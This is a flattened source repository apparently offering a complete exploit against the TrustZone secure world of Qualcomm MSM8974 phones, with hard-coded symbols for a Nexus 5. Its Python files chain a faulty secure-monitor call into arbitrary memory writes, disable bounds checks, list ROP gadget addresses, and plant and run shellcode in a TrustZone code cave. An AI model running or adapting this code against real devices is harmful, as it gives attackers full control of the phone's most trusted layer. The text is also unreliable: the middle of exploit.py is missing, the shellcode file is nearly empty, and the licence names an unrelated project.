├── shellcode.S ├── README.md ├── zero_dword.py ├── adb.py ├── consts.py ├── scm.py ├── symbols.py ├── exploit.py └── LICENSE /shellcode.S: -------------------------------------------------------------------------------- 1 | .code 32 2 | 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MSM8974_exploit 2 | 3 | Full TrustZone exploit for MSM8974 4 | -------------------------------------------------------------------------------- /zero_dword.py: -------------------------------------------------------------------------------- 1 | from scm import * 2 | from consts import * 3 | 4 | def zero_dword(address): 5 | ''' 6 | Zeroes out the DWORD at the given physical address using the faulty tzbsp_es_is_activated SCM 7 | ''' 8 | execute_register_scm(SCM_SVC_ES, SCM_IS_ACTIVATED_ID, (address, 0)) 9 | 10 | -------------------------------------------------------------------------------- /adb.py: -------------------------------------------------------------------------------- 1 | import subprocess, os, re 2 | from consts import * 3 | 4 | def execute_privileged_command(command_str): 5 | ''' 6 | Executes the given privileged command on the device 7 | ''' 8 | proc = subprocess.Popen(["adb", "shell", "su", "-c", "\"%s\"" % command_str], stdout=subprocess.PIPE) 9 | proc.wait() 10 | return proc.stdout.read() 11 | 12 | def pull_file(remote_path, local_path): 13 | ''' 14 | Pulls the remote path from the device to the local path 15 | ''' 16 | proc = subprocess.Popen(["adb", "pull", remote_path, local_path], stdout=subprocess.PIPE) 17 | proc.wait() 18 | 19 | def dev_mem_read_memory(address, length): 20 | ''' 21 | Reads memory from the device using /dev/mem 22 | ''' 23 | output = execute_privileged_command("dd if=/dev/mem of=%s bs=1 count=%d skip=%d && hd %s" % 24 | (REMOTE_TEMP_DUMP_PATH, length, address, REMOTE_TEMP_DUMP_PATH)) 25 | return "".join(re.findall("^[0-9a-f]{8}: (.*?) s", output, re.MULTILINE)).replace(" ","").decode("hex") 26 | -------------------------------------------------------------------------------- /consts.py: -------------------------------------------------------------------------------- 1 | #The path of the fuzz_zone binary used to send SCMs 2 | FUZZ_ZONE_PATH = "/data/local/tmp/fuzz_zone" 3 | 4 | #The number of currently supported arguments in register SCM commands via fuzz_zone 5 | REGISTER_SCM_SUPPORTED_ARGS = 3 6 | 7 | #The remote path of the binary dump file which is temporarily used to read from memory 8 | REMOTE_TEMP_DUMP_PATH = "/data/local/tmp/dump.bin" 9 | 10 | #The local path of the binary dump file which is temporarily used to read from memory 11 | LOCAL_TEMP_DUMP_PATH = "dump.bin" 12 | 13 | #The path of the shellcode written to the code cave 14 | SHELLCODE_PATH = "shellcode.bin" 15 | 16 | #Whether or not the written shellcode is THUMB code (or ARM) 17 | IS_SHELLCODE_THUMB = 0 18 | 19 | #Snipped from scm.h 20 | SCM_SVC_ES = 0x10 21 | SCM_IS_ACTIVATED_ID = 0x2 22 | SCM_SVC_UTIL = 0x3 23 | TZ_UTIL_SEC_ALLOWS_MEMDUMP = 0xB 24 | SCM_SVC_INFO = 0x6 25 | TZ_INFO_GET_FEATURE_VERSION_ID = 0x3 26 | TZ_INFO_GET_DIAG = 0x2 27 | 28 | #Undocumented 29 | SCM_SVC_PRNG = 0xA 30 | SCM_PRNG_GETDATA = 1 31 | 32 | #The maximal length of the generated random value 33 | MAX_RANDOM_LEN = 0x200 34 | 35 | #A physical address that will be treated as scrap space 36 | JUNK_PHYSICAL_ADDRESS = 0xA000 37 | 38 | -------------------------------------------------------------------------------- /scm.py: -------------------------------------------------------------------------------- 1 | import re 2 | from adb import * 3 | from consts import * 4 | 5 | def execute_register_scm(svc_id, cmd_id, args): 6 | ''' 7 | Sends a register SCM using fuzz_zone with the given arguments. 8 | Returns the error value returned by the IOCTL 9 | ''' 10 | if len(args) > REGISTER_SCM_SUPPORTED_ARGS: 11 | raise "Execute register SCM currently supports only up to %d parameters" % REGISTER_SCM_SUPPORTED_ARGS 12 | args_str = " ".join(["%08X" % arg for arg in args]).strip() 13 | command_str = "%s reg %d %d %d %s" % (FUZZ_ZONE_PATH, svc_id, cmd_id, len(args), args_str) 14 | resp_str = execute_privileged_command(command_str) 15 | if resp_str.find("Failed") >= 0: 16 | raise "Failed to send register SCM! %s" % resp_str 17 | return int(re.search("^IOCTL RES: (\d+)", resp_str, re.MULTILINE).group(1)) 18 | 19 | def execute_raw_scm(svc_id, cmd_id, request_data, response_length): 20 | ''' 21 | Sends a "normal" SCM using fuzz_zone with the given arguments, and returns the resulting buffer 22 | ''' 23 | 24 | resp = execute_privileged_command("%s raw %d %d %s %d" % (FUZZ_ZONE_PATH, svc_id, cmd_id, request_data.encode("hex"), response_length)) 25 | return resp.split("\n")[-2].decode("hex") 26 | 27 | -------------------------------------------------------------------------------- /symbols.py: -------------------------------------------------------------------------------- 1 | #Symbols for the Nexus 5 2 | #Fingerprint: hammerhead:4.4.4/KTU84P 3 | 4 | 5 | #The DWORD that needs to be nullified in order to pass all bounds checks 6 | BOUNDS_CHECK_DWORD_ADDRESS = 0xFE828444 7 | 8 | #The address of the DWORD which is returned when querying fver_get_version with version code 0 9 | VERSION_CODE_0_DWORD_ADDRESS = 0xFE828994 10 | BOUNDS_CHECKS_RANGE_START = 0xFE8304EC 11 | BOUNDS_CHECKS_RANGE_END = 0xFE8306E8 12 | 13 | #The address of the tzbsp_get_diag function pointer 14 | TZBSP_GET_DIAG_POINTER_ADDRESS = 0xFE82D504 15 | 16 | #The address of the tzbsp_security_allows_memdump pointer 17 | TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS = 0xFE82D584 18 | 19 | #The address of the pivot used 20 | MOV_SP_R0_LDMFD_R4_R12_PC = 0xFE856634 21 | 22 | #The address of the BX LR gadget 23 | BX_LR = 0xFE806604+1 24 | 25 | #The address of the "LDR R0, [R0,R1]; BX LR" gadget 26 | LDR_R0_R0_R1_BX_LR = 0xFE80A994+1 27 | 28 | #The address of the "STR R0, [R1]; BX LR" gadget 29 | STR_R0_R1_BX_LR = 0xFE852BB6+1 30 | 31 | #The address of the "LDR R1, [R1]; STR R1, [R0]; BX LR" gadget 32 | LDR_R1_R1_STR_R1_R0_BX_LR = 0xFE8131B2+1 33 | 34 | #The address of the gadget used to set the DACR 35 | SET_DACR = 0xFE80FCC4 36 | 37 | #The address of the address cache invalidation gadget 38 | INVALIDATE_INSTRUCTION_CACHE = 0xFE80F834 39 | 40 | #The address of the code cave in which the stub shellcode is written 41 | CODE_CAVE_ADDRESS = 0xFE81DE70 42 | #CODE_CAVE_ADDRESS = 0xFE807798 43 | 44 | 45 | #The size of the code cave 46 | CODE_CAVE_SIZE = 0x1000 - (CODE_CAVE_ADDRESS & 0xFFF) 47 | 48 | #The DWORD used to control whether the log_print_format messages are actually written 49 | ENABLE_LOG_DWORD = 0xFE828A00 50 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import sys, os, struct 2 | from adb import * 3 | from scm import * 4 | from zero_dword import * 5 | from symbols import * 6 | from consts import * 7 | 8 | def disable_bounds_checks(): 9 | ''' 10 | Disables the checks performed by each of the bounds checking methods. 11 | ''' 12 | zero_dword(BOUNDS_CHECK_DWORD_ADDRESS) 13 | for addr in range(BOUNDS_CHECKS_RANGE_START, BOUNDS_CHECKS_RANGE_END+1, 4): 14 | zero_dword(addr) 15 | 16 | def write_random_value(address, length): 17 | ''' 18 | Writes the given number of random bytes to the given physical address, using the tzbsp PRNG syscall 19 | ''' 20 | if length >= MAX_RANDOM_LEN: 21 | raise "Can only generate at most 0x%08X random bytes at a time" % MAX_RANDOM_LEN 22 | execute_register_scm(SCM_SVC_PRNG, SCM_PRNG_GETDATA, (address, length)) 23 | 24 | def fver_get_version(version_code): 25 | ''' 26 | Reads the firmware version DWORD for the given version code 27 | ''' 28 | execute_register_scm(SCM_SVC_INFO, TZ_INFO_GET_FEATURE_VERSION_ID, (version_code, JUNK_PHYSICAL_ADDRESS, 4)) 29 | return dev_mem_read_memory(JUNK_PHYSICAL_ADDRESS, 4) 30 | 31 | def write_dword_slow(address, dword): 32 | ''' 33 | Writes the given DWORD to the given physical address, including TrustZone addresses 34 | ''' 35 | 36 | #First of all, we need to start fuzzing the value using the PRNG call into the dump zone 37 | #The dump zone used is the pointer returned from the fver_get_version call, with version code 0. 38 | #Once we manage to fuzz the DWORD successfully, we can use the fver_get_version call to write that 39 | #DWORD to arbitrary memory 40 | #NOTE: For this method to work, the bounds checks must be disabled! 41 | dword_bytes = struct.pack(" CODE_CAVE_SIZE: 136 | print "[-] Not enough space to write shellcode to code cave (%d/%d)" % (len(shellcode), CODE_CAVE_SIZE) 137 | return 138 | print "[+] Writing shellcode to code cave (cave size: %d, shellcode size: %d)" % (CODE_CAVE_SIZE, len(shellcode)) 139 | write_range(shellcode, CODE_CAVE_ADDRESS) 140 | print read_range(CODE_CAVE_ADDRESS, CODE_CAVE_ADDRESS+len(shellcode)).encode("hex") 141 | 142 | #Overwriting a pointer to point to the newly written code 143 | print "[+] Overwriting tzbsp_security_allows_memdump pointer with shellcode address" 144 | print "Code address: %08X" % (CODE_CAVE_ADDRESS + IS_SHELLCODE_THUMB) 145 | write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, CODE_CAVE_ADDRESS + IS_SHELLCODE_THUMB) #Adding one for thumb, if neccessary 146 | print "[+] Executing shellcode" 147 | execute_register_scm(SCM_SVC_UTIL, TZ_UTIL_SEC_ALLOWS_MEMDUMP, (0,0)) 148 | print "[+] Done!" 149 | print dev_mem_read_memory(0xF000, 4).encode("hex") 150 | 151 | if __name__ == "__main__": 152 | main() 153 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | You may use, distribute and copy Kodi under the terms of GNU General 2 | Public License version 2, which is displayed below. 3 | 4 | ------------------------------------------------------------------------- 5 | 6 | GNU GENERAL PUBLIC LICENSE 7 | Version 2, June 1991 8 | 9 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 10 | 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 11 | Everyone is permitted to copy and distribute verbatim copies 12 | of this license document, but changing it is not allowed. 13 | 14 | Preamble 15 | 16 | The licenses for most software are designed to take away your 17 | freedom to share and change it. By contrast, the GNU General Public 18 | License is intended to guarantee your freedom to share and change free 19 | software--to make sure the software is free for all its users. This 20 | General Public License applies to most of the Free Software 21 | Foundation's software and to any other program whose authors commit to 22 | using it. (Some other Free Software Foundation software is covered by 23 | the GNU Library General Public License instead.) You can apply it to 24 | your programs, too. 25 | 26 | When we speak of free software, we are referring to freedom, not 27 | price. Our General Public Licenses are designed to make sure that you 28 | have the freedom to distribute copies of free software (and charge for 29 | this service if you wish), that you receive source code or can get it 30 | if you want it, that you can change the software or use pieces of it 31 | in new free programs; and that you know you can do these things. 32 | 33 | To protect your rights, we need to make restrictions that forbid 34 | anyone to deny you these rights or to ask you to surrender the rights. 35 | These restrictions translate to certain responsibilities for you if you 36 | distribute copies of the software, or if you modify it. 37 | 38 | For example, if you distribute copies of such a program, whether 39 | gratis or for a fee, you must give the recipients all the rights that 40 | you have. You must make sure that they, too, receive or can get the 41 | source code. And you must show them these terms so they know their 42 | rights. 43 | 44 | We protect your rights with two steps: (1) copyright the software, and 45 | (2) offer you this license which gives you legal permission to copy, 46 | distribute and/or modify the software. 47 | 48 | Also, for each author's protection and ours, we want to make certain 49 | that everyone understands that there is no warranty for this free 50 | software. If the software is modified by someone else and passed on, we 51 | want its recipients to know that what they have is not the original, so 52 | that any problems introduced by others will not reflect on the original 53 | authors' reputations. 54 | 55 | Finally, any free program is threatened constantly by software 56 | patents. We wish to avoid the danger that redistributors of a free 57 | program will individually obtain patent licenses, in effect making the 58 | program proprietary. To prevent this, we have made it clear that any 59 | patent must be licensed for everyone's free use or not licensed at all. 60 | 61 | The precise terms and conditions for copying, distribution and 62 | modification follow. 63 | 64 | GNU GENERAL PUBLIC LICENSE 65 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 66 | 67 | 0. This License applies to any program or other work which contains 68 | a notice placed by the copyright holder saying it may be distributed 69 | under the terms of this General Public License. The "Program", below, 70 | refers to any such program or work, and a "work based on the Program" 71 | means either the Program or any derivative work under copyright law: 72 | that is to say, a work containing the Program or a portion of it, 73 | either verbatim or with modifications and/or translated into another 74 | language. (Hereinafter, translation is included without limitation in 75 | the term "modification".) Each licensee is addressed as "you". 76 | 77 | Activities other than copying, distribution and modification are not 78 | covered by this License; they are outside its scope. The act of 79 | running the Program is not restricted, and the output from the Program 80 | is covered only if its contents constitute a work based on the 81 | Program (independent of having been made by running the Program). 82 | Whether that is true depends on what the Program does. 83 | 84 | 1. You may copy and distribute verbatim copies of the Program's 85 | source code as you receive it, in any medium, provided that you 86 | conspicuously and appropriately publish on each copy an appropriate 87 | copyright notice and disclaimer of warranty; keep intact all the 88 | notices that refer to this License and to the absence of any warranty; 89 | and give any other recipients of the Program a copy of this License 90 | along with the Program. 91 | 92 | You may charge a fee for the physical act of transferring a copy, and 93 | you may at your option offer warranty protection in exchange for a fee. 94 | 95 | 2. You may modify your copy or copies of the Program or any portion 96 | of it, thus forming a work based on the Program, and copy and 97 | distribute such modifications or work under the terms of Section 1 98 | above, provided that you also meet all of these conditions: 99 | 100 | a) You must cause the modified files to carry prominent notices 101 | stating that you changed the files and the date of any change. 102 | 103 | b) You must cause any work that you distribute or publish, that in 104 | whole or in part contains or is derived from the Program or any 105 | part thereof, to be licensed as a whole at no charge to all third 106 | parties under the terms of this License. 107 | 108 | c) If the modified program normally reads commands interactively 109 | when run, you must cause it, when started running for such 110 | interactive use in the most ordinary way, to print or display an 111 | announcement including an appropriate copyright notice and a 112 | notice that there is no warranty (or else, saying that you provide 113 | a warranty) and that users may redistribute the program under 114 | these conditions, and telling the user how to view a copy of this 115 | License. (Exception: if the Program itself is interactive but 116 | does not normally print such an announcement, your work based on 117 | the Program is not required to print an announcement.) 118 | 119 | These requirements apply to the modified work as a whole. If 120 | identifiable sections of that work are not derived from the Program, 121 | and can be reasonably considered independent and separate works in 122 | themselves, then this License, and its terms, do not apply to those 123 | sections when you distribute them as separate works. But when you 124 | distribute the same sections as part of a whole which is a work based 125 | on the Program, the distribution of the whole must be on the terms of 126 | this License, whose permissions for other licensees extend to the 127 | entire whole, and thus to each and every part regardless of who wrote it. 128 | 129 | Thus, it is not the intent of this section to claim rights or contest 130 | your rights to work written entirely by you; rather, the intent is to 131 | exercise the right to control the distribution of derivative or 132 | collective works based on the Program. 133 | 134 | In addition, mere aggregation of another work not based on the Program 135 | with the Program (or with a work based on the Program) on a volume of 136 | a storage or distribution medium does not bring the other work under 137 | the scope of this License. 138 | 139 | 3. You may copy and distribute the Program (or a work based on it, 140 | under Section 2) in object code or executable form under the terms of 141 | Sections 1 and 2 above provided that you also do one of the following: 142 | 143 | a) Accompany it with the complete corresponding machine-readable 144 | source code, which must be distributed under the terms of Sections 145 | 1 and 2 above on a medium customarily used for software interchange; or, 146 | 147 | b) Accompany it with a written offer, valid for at least three 148 | years, to give any third party, for a charge no more than your 149 | cost of physically performing source distribution, a complete 150 | machine-readable copy of the corresponding source code, to be 151 | distributed under the terms of Sections 1 and 2 above on a medium 152 | customarily used for software interchange; or, 153 | 154 | c) Accompany it with the information you received as to the offer 155 | to distribute corresponding source code. (This alternative is 156 | allowed only for noncommercial distribution and only if you 157 | received the program in object code or executable form with such 158 | an offer, in accord with Subsection b above.) 159 | 160 | The source code for a work means the preferred form of the work for 161 | making modifications to it. For an executable work, complete source 162 | code means all the source code for all modules it contains, plus any 163 | associated interface definition files, plus the scripts used to 164 | control compilation and installation of the executable. However, as a 165 | special exception, the source code distributed need not include 166 | anything that is normally distributed (in either source or binary 167 | form) with the major components (compiler, kernel, and so on) of the 168 | operating system on which the executable runs, unless that component 169 | itself accompanies the executable. 170 | 171 | If distribution of executable or object code is made by offering 172 | access to copy from a designated place, then offering equivalent 173 | access to copy the source code from the same place counts as 174 | distribution of the source code, even though third parties are not 175 | compelled to copy the source along with the object code. 176 | 177 | 4. You may not copy, modify, sublicense, or distribute the Program 178 | except as expressly provided under this License. Any attempt 179 | otherwise to copy, modify, sublicense or distribute the Program is 180 | void, and will automatically terminate your rights under this License. 181 | However, parties who have received copies, or rights, from you under 182 | this License will not have their licenses terminated so long as such 183 | parties remain in full compliance. 184 | 185 | 5. You are not required to accept this License, since you have not 186 | signed it. However, nothing else grants you permission to modify or 187 | distribute the Program or its derivative works. These actions are 188 | prohibited by law if you do not accept this License. Therefore, by 189 | modifying or distributing the Program (or any work based on the 190 | Program), you indicate your acceptance of this License to do so, and 191 | all its terms and conditions for copying, distributing or modifying 192 | the Program or works based on it. 193 | 194 | 6. Each time you redistribute the Program (or any work based on the 195 | Program), the recipient automatically receives a license from the 196 | original licensor to copy, distribute or modify the Program subject to 197 | these terms and conditions. You may not impose any further 198 | restrictions on the recipients' exercise of the rights granted herein. 199 | You are not responsible for enforcing compliance by third parties to 200 | this License. 201 | 202 | 7. If, as a consequence of a court judgment or allegation of patent 203 | infringement or for any other reason (not limited to patent issues), 204 | conditions are imposed on you (whether by court order, agreement or 205 | otherwise) that contradict the conditions of this License, they do not 206 | excuse you from the conditions of this License. If you cannot 207 | distribute so as to satisfy simultaneously your obligations under this 208 | License and any other pertinent obligations, then as a consequence you 209 | may not distribute the Program at all. For example, if a patent 210 | license would not permit royalty-free redistribution of the Program by 211 | all those who receive copies directly or indirectly through you, then 212 | the only way you could satisfy both it and this License would be to 213 | refrain entirely from distribution of the Program. 214 | 215 | If any portion of this section is held invalid or unenforceable under 216 | any particular circumstance, the balance of the section is intended to 217 | apply and the section as a whole is intended to apply in other 218 | circumstances. 219 | 220 | It is not the purpose of this section to induce you to infringe any 221 | patents or other property right claims or to contest validity of any 222 | such claims; this section has the sole purpose of protecting the 223 | integrity of the free software distribution system, which is 224 | implemented by public license practices. Many people have made 225 | generous contributions to the wide range of software distributed 226 | through that system in reliance on consistent application of that 227 | system; it is up to the author/donor to decide if he or she is willing 228 | to distribute software through any other system and a licensee cannot 229 | impose that choice. 230 | 231 | This section is intended to make thoroughly clear what is believed to 232 | be a consequence of the rest of this License. 233 | 234 | 8. If the distribution and/or use of the Program is restricted in 235 | certain countries either by patents or by copyrighted interfaces, the 236 | original copyright holder who places the Program under this License 237 | may add an explicit geographical distribution limitation excluding 238 | those countries, so that distribution is permitted only in or among 239 | countries not thus excluded. In such case, this License incorporates 240 | the limitation as if written in the body of this License. 241 | 242 | 9. The Free Software Foundation may publish revised and/or new versions 243 | of the General Public License from time to time. Such new versions will 244 | be similar in spirit to the present version, but may differ in detail to 245 | address new problems or concerns. 246 | 247 | Each version is given a distinguishing version number. If the Program 248 | specifies a version number of this License which applies to it and "any 249 | later version", you have the option of following the terms and conditions 250 | either of that version or of any later version published by the Free 251 | Software Foundation. If the Program does not specify a version number of 252 | this License, you may choose any version ever published by the Free Software 253 | Foundation. 254 | 255 | 10. If you wish to incorporate parts of the Program into other free 256 | programs whose distribution conditions are different, write to the author 257 | to ask for permission. For software which is copyrighted by the Free 258 | Software Foundation, write to the Free Software Foundation; we sometimes 259 | make exceptions for this. Our decision will be guided by the two goals 260 | of preserving the free status of all derivatives of our free software and 261 | of promoting the sharing and reuse of software generally. 262 | 263 | NO WARRANTY 264 | 265 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 266 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 267 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 268 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 269 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 270 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 271 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 272 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 273 | REPAIR OR CORRECTION. 274 | 275 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 276 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 277 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 278 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 279 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 280 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 281 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 282 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 283 | POSSIBILITY OF SUCH DAMAGES. 284 | 285 | END OF TERMS AND CONDITIONS 286 | ------------------------------------------------------------------------- 287 | --------------------------------------------------------------------------------